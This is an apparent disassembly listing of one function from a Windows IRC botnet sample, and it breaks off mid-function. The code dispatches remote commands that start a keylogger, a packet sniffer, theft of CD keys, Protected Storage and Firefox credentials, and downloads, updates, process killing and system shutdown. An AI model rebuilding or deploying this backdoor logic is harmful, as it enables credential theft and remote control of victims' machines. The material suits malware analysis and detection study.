Function at 0x40145b
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Create thread
Delete file
Get common file path
Move file
Self delete
Terminate process

Disassembly:
jmp 0x402277
mov eax, 0x1150
call fcn.00401384
mov eax, dword [0x420fec]
xor eax, esp
mov dword [esp + 0x114c], eax
mov eax, dword [esp + 0x1154]
and dword [esp + 0xc], 0
mov dword [esp], eax
mov eax, dword [esp + 0x1164]
push ebx
mov ebx, dword [esp + 0x1160]
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x116c]
push ebp
mov ebp, dword [esp + 0x1160]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x1178]
push esi
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x1180]
push edi
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x118c]
push 0x100
mov dword [esp + 0x44], eax
lea eax, [esp + 0x760]
push 0
push eax
mov dword [esp + 0x54], ebp
mov dword [esp + 0x58], ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x31
pop ecx
mov edx, dword [ebp + ecx*4]
test edx, edx
je 0x40233f
cmp byte [edx], 0x2d
jne 0x402344
cmp byte [edx + 2], 0
jne 0x402344
movsx eax, byte [edx + 1]
mov byte [esp + eax + 0x75c], 1
mov byte [edx], 0
xor edx, edx
mov eax, dword [ebp + ecx*4]
mov byte [eax + 1], dl
mov eax, dword [ebp + ecx*4]
mov byte [eax + 2], dl
mov dword [ebp + ecx*4], edx
sub ecx, 1
jns 0x402309
push dword [ebp + 4]
movzx esi, byte [esp + 0x7d3]
push str.NOTICE
mov dword [esp + 0x2c], esi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x402375
cmp byte [esp + 0x7ca], 0
jne 0x402375
xor edi, edi
mov dword [esp + 0x34], edi
jmp 0x402396
push dword [ebp + 4]
xor edi, edi
inc edi
push 0x4153bc
mov dword [esp + 0x3c], edi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x402396
mov eax, dword [esp + 0x38]
mov dword [ebp + 8], eax
push dword [ebp + ebx*4]
push 0x4153c0
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x404809
push dword [ebp + ebx*4]
push str.yfuyf
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x404809
cmp dword [esp + 0x1190], 0
jne 0x4023fa
push dword [ebp + 4]
push 0x4153bc
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4023fa
push dword [ebp + 4]
push str.TOPIC
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x4048e8
push dword [esp + 0x10]
and dword [esp + 0x40], 0
lea eax, [esp + 0xb60]
push 0x200
push eax
call fcn.00401208
lea eax, [esp + 0xb68]
push 0x4154b0
push eax
call dword [sym.imp.VCRUNTIME140.dll_strstr]
mov dword [esp + 0x28], eax
add esp, 0x14
xor eax, eax
mov dword [esp + 0x18], eax
cmp dword [0x46ba10], eax
jle 0x402479
mov ecx, 0x46a048
mov dword [esp + 0x28], ecx
push dword [ebp + ebx*4]
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4025ad
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x28]
inc eax
add ecx, 0x14a
mov dword [esp + 0x18], eax
mov dword [esp + 0x28], ecx
cmp eax, dword [0x46ba10]
jl 0x402446
mov ecx, dword [esp + 0x3c]
mov eax, dword [ebp + ebx*4]
mov al, byte [eax]
cmp al, byte [0x4208ea]
je 0x402493
test ecx, ecx
je 0x402853
push dword [esp + 0x30]
push 0x4154c0
push dword [esp + 0x18]
call fcn.00401267
push dword [esp + 0x44]
push str._user
push dword [esp + 0x24]
call fcn.00401267
push dword [ebp + 8]
push str._chan
push dword [esp + 0x30]
call fcn.00401267
push 0
push 0
push dword [0x4252ac]
lea eax, [esp + 0x58c]
push eax
call fcn.004014d3
push eax
push str._rndnick
push dword [esp + 0x4c]
call fcn.00401267
add esp, 0x40
push dword [esp + 0x44]
push str._server
push dword [esp + 0x18]
call fcn.00401267
push str._chr_
push dword [esp + 0x20]
call dword [sym.imp.VCRUNTIME140.dll_strstr]
add esp, 0x14
test eax, eax
je 0x4027c3
mov esi, dword [esp + 0x10]
push str._chr_
push esi
call dword [sym.imp.VCRUNTIME140.dll_strstr]
push 4
mov dword [esp + 0x3c], eax
lea ecx, [eax + 5]
push ecx
lea eax, [esp + 0x444]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
lea eax, [esp + 0x448]
push 0x4154f4
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
mov al, byte [esp + 0x450]
add esp, 0x1c
cmp al, 0x30
jl 0x40256a
cmp al, 0x39
jle 0x402582
push 3
lea eax, [esp + 0x438]
push 0x4154f8
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
add esp, 0xc
mov esi, dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
lea eax, [esp + 0x434]
push eax
call esi
pop ecx
test eax, eax
jle 0x402743
lea eax, [esp + 0x434]
push eax
call esi
pop ecx
mov edx, eax
jmp 0x402752
push 0x4154b0
push dword [esp + 0x14]
call dword [sym.imp.VCRUNTIME140.dll_strstr]
pop ecx
pop ecx
mov ecx, eax
test ecx, ecx
je 0x4048e8
mov al, byte [0x4208ea]
mov byte [ecx + 2], al
mov al, byte [0x4208ea]
mov byte [ecx + 3], al
imul eax, dword [esp + 0x18], 0x14a
push 0x12b
mov dword [esp + 0x1c], eax
lea eax, [eax + 0x46a066]
push eax
lea eax, [ecx + 4]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov edi, dword [esp + 0x20]
lea eax, [ebp + 0x40]
add esp, 0xc
lea eax, [eax + ebx*4]
mov dword [esp + 0x40], eax
mov ebp, eax
push 0xf
pop ecx
mov dword [esp + 0x28], ecx
push ecx
lea eax, [esp + 0x438]
push str.__d_
push eax
call fcn.004013c0
lea eax, [esp + 0x440]
push eax
push dword [esp + 0x20]
call dword [sym.imp.VCRUNTIME140.dll_strstr]
add esp, 0x14
test eax, eax
je 0x402682
cmp dword [ebp], 0
je 0x402688
mov eax, dword [esp + 0x18]
lea eax, [eax + 0x46a048]
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
pop ecx
add edi, eax
je 0x4026bb
push dword [ebp - 4]
push edi
call dword [sym.imp.VCRUNTIME140.dll_strstr]
pop ecx
pop ecx
test eax, eax
je 0x4026bb
push eax
lea eax, [esp + 0x438]
push eax
push dword [esp + 0x18]
call fcn.00401267
add esp, 0xc
jmp 0x4026bb
cmp dword [ebp], 0
jne 0x4026bb
push 2
lea eax, [esp + 0x438]
push eax
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
lea eax, [esp + 0x2c]
mov byte [esp + 0x2e], 0
push eax
lea eax, [esp + 0x444]
push eax
push dword [esp + 0x24]
call fcn.00401267
add esp, 0x18
mov ecx, dword [esp + 0x28]
sub ebp, 4
dec ecx
mov dword [esp + 0x28], ecx
test ecx, ecx
jg 0x402614
mov ebp, dword [esp + 0x48]
mov ebx, dword [esp + 0x40]
push 0x10
mov dword [esp + 0x18], edi
mov edi, dword [esp + 0x38]
pop esi
push esi
lea eax, [esp + 0x438]
push 0x4154bc
push eax
call fcn.004013c0
add esp, 0xc
cmp dword [ebx], 0
je 0x40272b
lea eax, [esp + 0x434]
push eax
push dword [esp + 0x14]
call dword [sym.imp.VCRUNTIME140.dll_strstr]
pop ecx
pop ecx
test eax, eax
je 0x40272b
push dword [ebx]
lea eax, [esp + 0x438]
push eax
push dword [esp + 0x18]
call fcn.00401267
add esp, 0xc
dec esi
sub ebx, 4
test esi, esi
jg 0x4026e2
mov ebx, dword [esp + 0x4c]
xor ecx, ecx
mov esi, dword [esp + 0x24]
inc ecx
jmp 0x40247d
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
push 0x60
cdq
pop ecx
idiv ecx
add edx, 0x20
lea eax, [esp + 0x434]
mov byte [esp + 0x20], dl
push eax
mov byte [esp + 0x25], 0
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
push 0xc
mov esi, eax
lea eax, [esp + 0x43c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
lea eax, [esi + 6]
push eax
push dword [esp + 0x44]
lea eax, [esp + 0x44c]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov esi, dword [esp + 0x2c]
lea eax, [esp + 0x3c]
push eax
lea eax, [esp + 0x454]
push eax
push esi
call fcn.00401267
push str._chr_
push esi
call dword [sym.imp.VCRUNTIME140.dll_strstr]
add esp, 0x30
test eax, eax
jne 0x402521
mov esi, dword [esp + 0x24]
push dword [esp + 0x10]
lea eax, [esp + 0xb60]
push 0x200
push eax
call fcn.00401208
lea eax, [esp + 0xb68]
push 0x4154fc
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
xor edi, edi
mov dword [ebp], eax
add esp, 0x14
inc edi
push 0x4154fc
push 0
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
mov dword [ebp + edi*4], eax
inc edi
pop ecx
pop ecx
cmp edi, 0x32
jl 0x4027f5
mov eax, dword [ebp + ebx*4]
mov edi, dword [esp + 0x34]
test eax, eax
je 0x4048e8
add eax, 3
mov dword [ebp + ebx*4], eax
push dword [ebp + 4]
push 0x4153bc
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x40283e
mov eax, dword [ebp + 0xc]
mov dword [ebp + 8], eax
push 0x4154b0
push dword [esp + 0x14]
call dword [sym.imp.VCRUNTIME140.dll_strstr]
pop ecx
pop ecx
mov dword [esp + 0x14], eax
push dword [ebp + ebx*4]
push str.rndnick
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x404776
push dword [ebp + ebx*4]
push str.rr4ytgn
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x404776
push dword [ebp + ebx*4]
push 0x415550
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x404742
push dword [ebp + ebx*4]
push 0x415554
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x404742
push dword [ebp + ebx*4]
push str.procsstop
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x40472d
push dword [ebp + ebx*4]
push str.psstop
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x40472d
push dword [ebp + ebx*4]
push str.secstop
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x40291d
push dword [ebp + ebx*4 + 4]
push 0x10
push str.Secure
push str._SECURE_
push esi
push edi
push dword [ebp + 8]
push dword [esp + 0x118c]
call fcn.0040126c
jmp 0x4048e5
push dword [ebp + ebx*4]
push str.reconnect
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x404713
push dword [ebp + ebx*4]
push 0x4155b0
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x404713
push dword [ebp + ebx*4]
push str.disconnect
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4046f8
push dword [ebp + ebx*4]
push 0x4155e0
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4046f8
push dword [ebp + ebx*4]
push str.quitz
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x40467e
push dword [ebp + ebx*4]
push str.quitz0r
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x40467e
push dword [ebp + ebx*4]
push str.threads
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x404588
push dword [ebp + ebx*4]
push 0x415640
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x404588
push dword [ebp + ebx*4]
push 0x4156a8
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x40451c
push dword [ebp + ebx*4]
push 0x4156ac
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x40451c
push dword [ebp + ebx*4]
push str.procs
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x404400
push dword [ebp + ebx*4]
push 0x4156d4
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x404400
push dword [ebp + ebx*4]
push str.cdkeys
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4043d9
push dword [ebp + ebx*4]
push str.kegfgdys
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4043d9
push dword [ebp + ebx*4]
push str.pstore
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x404369
push dword [ebp + ebx*4]
push 0x41579c
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x404369
push dword [ebp + ebx*4]
push str.firefox
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x402ae9
cmp dword [0x424f14], eax
je 0x4048e8
mov esi, dword [esp + 0x2c]
push edi
push esi
push dword [esp + 0x1178]
call fcn.00401181
push 0
push edi
push 0x4157d0
push esi
push dword [esp + 0x118c]
call fcn.004013e8
jmp 0x4048e5
push dword [ebp + ebx*4]
push str.firefoxstop
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x402b0f
push dword [ebp + ebx*4 + 4]
mov eax, str.Firefox
push 0x1a
push eax
push eax
jmp 0x402907
push dword [ebp + ebx*4]
push str.flusharp
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x40433a
push dword [ebp + ebx*4]
push str.farp
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x40433a
push dword [ebp + ebx*4]
push str.flushdns
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x404308
push dword [ebp + ebx*4]
push str.fdns
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x404308
cmp dword [ebp + ebx*4 + 4], 0
je 0x4048e8
push dword [ebp + ebx*4]
push str.nick
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4042ee
push dword [ebp + ebx*4]
push 0x415920
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4042ee
push dword [ebp + ebx*4]
push str.join
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4042cd
push dword [ebp + ebx*4]
push 0x41592c
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4042cd
push dword [ebp + ebx*4]
push str.part
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4042c2
push dword [ebp + ebx*4]
push 0x415948
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4042c2
push dword [ebp + ebx*4]
push 0x415958
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x40426d
push dword [ebp + ebx*4]
push 0x413b50
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x40426d
push dword [ebp + ebx*4]
push str.killthread
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4041cf
push dword [ebp + ebx*4]
push 0x415994
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4041cf
push dword [ebp + ebx*4]
push str.prefix
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4041b2
push dword [ebp + ebx*4]
push 0x415a4c
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4041b2
push dword [ebp + ebx*4]
push str.open
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x404176
push dword [ebp + ebx*4]
push 0x415a78
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x404176
push dword [ebp + ebx*4]
push str.server
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x404148
push dword [ebp + ebx*4]
push 0x415acc
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x404148
push dword [ebp + ebx*4]
push 0x415af8
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4040c9
push dword [ebp + ebx*4]
push 0x415afc
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4040c9
push dword [ebp + ebx*4]
push str.killproc
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x40408c
push dword [ebp + ebx*4]
push 0x415b54
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x40408c
push dword [ebp + ebx*4]
push str.kill
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x404056
push dword [ebp + ebx*4]
push 0x415bb0
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x404056
push dword [ebp + ebx*4]
push str.delete
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x404001
push dword [ebp + ebx*4]
push 0x415c14
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x404001
push dword [ebp + ebx*4]
push str.visit
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x403f19
push dword [ebp + ebx*4]
push 0x415c48
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x403f19
push dword [ebp + ebx*4]
push str.mirccmd
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x403ed2
push dword [ebp + ebx*4]
push str.mirc
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x403ed2
push dword [ebp + ebx*4]
push str.psniff
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x402faa
push dword [ebp + ebx*4 + 4]
push 0x415d00
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x402f32
push 0xf
call fcn.00401032
pop ecx
test eax, eax
jle 0x402e60
push str._PSNIFF_:_Already_running.
jmp 0x402f71
mov ebx, dword [ebp + ebx*4 + 8]
mov eax, dword [esp + 0x1170]
mov dword [esp + 0x45c], eax
mov dword [esp + 0x4e4], edi
mov dword [esp + 0x4e8], esi
test ebx, ebx
jne 0x402e9d
push 0x4146c9
mov ebx, str.test
push ebx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x402e9d
mov ebx, dword [ebp + 8]
push ebx
lea eax, [esp + 0x464]
push 0x80
push eax
call fcn.00401208
lea eax, [esp + 0x568]
push str._PSNIFF_:_Carnivore_packet_sniffer_active.
push eax
call fcn.004013c0
push 0
lea eax, [esp + 0x574]
push 0xf
push eax
call fcn.00401235
add esp, 0x20
mov dword [esp + 0x4e0], eax
lea eax, [esp + 0x1c]
push eax
push 0
lea eax, [esp + 0x464]
push eax
push 0x401082
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
imul ecx, dword [esp + 0x4e0], 0x234
mov dword [ecx + 0x4254cc], eax
test eax, eax
jne 0x402f26
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._PSNIFF_:_Failed_to_start_sniffer_thread__error:___d_.
jmp 0x402f5a
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x4ec], 0
je 0x402f1e
jmp 0x402f80
push dword [ebp + ebx*4 + 4]
push 0x415d9c
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x402f80
push eax
push 0xf
call fcn.00401339
pop ecx
pop ecx
test eax, eax
jle 0x402f6c
push eax
push str._PSNIFF_:_Carnivore_stopped.___d_thread_s__stopped._
lea eax, [esp + 0x564]
push eax
call fcn.004013c0
add esp, 0xc
jmp 0x402f80
push str._PSNIFF_:_No_Carnivore_thread_found.
lea eax, [esp + 0x560]
push eax
call fcn.004013c0
pop ecx
pop ecx
test esi, esi
jne 0x4048e8
push 0
push edi
lea eax, [esp + 0x564]
push eax
push dword [ebp + 8]
push dword [esp + 0x1180]
call fcn.004013e8
add esp, 0x14
jmp 0x4048e8
push dword [ebp + ebx*4]
push str.keylog
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x403147
push 0x11
call fcn.00401032
pop ecx
test eax, eax
jle 0x402fd5
push str._KeyLog__Already_running.
jmp 0x402f71
mov ecx, dword [ebp + ebx*4 + 4]
test ecx, ecx
je 0x40313d
mov eax, dword [esp + 0x1170]
and dword [esp + 0x4e4], 0
push ecx
push 0x415e34
mov dword [esp + 0x464], eax
mov dword [esp + 0x4f0], edi
mov dword [esp + 0x4f4], esi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x40305c
mov ebx, dword [ebp + ebx*4 + 8]
mov dword [esp + 0x4e4], 1
test ebx, ebx
jne 0x403042
push 0x4146c9
mov ebx, 0x4209c4
push ebx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x403042
mov ebx, dword [ebp + 8]
push ebx
lea eax, [esp + 0x468]
push 0x80
push eax
call fcn.00401208
push str._KeyLog__pay_sites_keylogger_active.
jmp 0x4030ad
push dword [ebp + ebx*4 + 4]
push str.normal
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x403133
mov ebx, dword [ebp + ebx*4 + 8]
test ebx, ebx
jne 0x403095
push 0x4146c9
mov ebx, 0x4209c4
push ebx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x403095
mov ebx, dword [ebp + 8]
push ebx
lea eax, [esp + 0x468]
push 0x80
push eax
call fcn.00401208
push str._KeyLog__Normal_key_logger_active.
lea eax, [esp + 0x56c]
push eax
call fcn.004013c0
add esp, 0x14
lea eax, [esp + 0x55c]
push 0
push 0x11
push eax
call fcn.00401235
add esp, 0xc
mov dword [esp + 0x460], eax
lea eax, [esp + 0x1c]
push eax
push 0
lea eax, [esp + 0x464]
push eax
push 0x401055
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
imul ecx, dword [esp + 0x460], 0x234
mov dword [ecx + 0x4254cc], eax
test eax, eax
jne 0x403124
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._KeyLog__Failed_to_start_logging_thread__error:___d_.
jmp 0x402f5a
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x4f0], 0
je 0x40311c
jmp 0x402f80
push str._KeyLog__Unknow_mode_type.
jmp 0x402f71
push str._KeyLog__Missing_mode_type.
jmp 0x402f71
push dword [ebp + ebx*4]
push str.stop
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x403ebd
push dword [ebp + ebx*4]
push str.stop
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x403ebd
push dword [ebp + ebx*4]
push str.system
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x403246
push dword [ebp + ebx*4 + 4]
push str.logoff
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x4031b7
push eax
push 4
call fcn.004010a0
mov ecx, str._SYSTEM_:_Logging_off_current_user.
mov edx, str._SYSTEM_:_Failed_to_logoff_current_user.
jmp 0x40320d
push dword [ebp + ebx*4 + 4]
push str.reboot
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x4031e3
push 0x50005
push 6
call fcn.004010a0
mov ecx, str._SYSTEM_:_Rebooting_system.
mov edx, str._SYSTEM_:_Failed_to_reboot_system.
jmp 0x40320d
push dword [ebp + ebx*4 + 4]
push str.shutdown
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x403228
push 0x50005
push 0xd
call fcn.004010a0
mov ecx, str._SYSTEM_:_Shutting_down_system.
mov edx, str._SYSTEM_:_Failed_to_shutdown_system.
test eax, eax
lea eax, [esp + 0x564]
cmove ecx, edx
push ecx
push eax
call fcn.004013c0
add esp, 0x10
jmp 0x402f88
push dword [ebp + ebx*4 + 4]
lea eax, [esp + 0x560]
push str._MAIN_:_Unrecognized_command:__s.
push eax
call fcn.004013c0
add esp, 0xc
jmp 0x402f88
cmp dword [ebp + ebx*4 + 8], 0
je 0x4048e8
push dword [ebp + ebx*4]
push str.privmsg
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x403e72
push dword [ebp + ebx*4]
push 0x416080
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x403e72
push dword [ebp + ebx*4]
push str.action
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x403dfe
push dword [ebp + ebx*4]
push 0x413b68
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x403dfe
push dword [ebp + ebx*4]
push str.cycle
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x403dc2
push dword [ebp + ebx*4]
push 0x4160a4
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x403dc2
push dword [ebp + ebx*4]
push str.mode
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x403d96
push dword [ebp + ebx*4]
push 0x4160b0
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x403d96
push dword [ebp + ebx*4]
push str.repeat
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x403cb4
push dword [ebp + ebx*4]
push 0x4160c8
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x403cb4
push dword [ebp + ebx*4]
push str.delay
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x403c08
push dword [ebp + ebx*4]
push 0x416134
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x403c08
push dword [ebp + ebx*4]
push str.update
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x403a3a
push dword [ebp + ebx*4]
push 0x416140
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x403a3a
push dword [ebp + ebx*4]
push str.execute
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x40397d
push dword [ebp + ebx*4]
push 0x416224
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x40397d
push dword [ebp + ebx*4]
push str.rename
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x403935
push dword [ebp + ebx*4]
push 0x416274
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
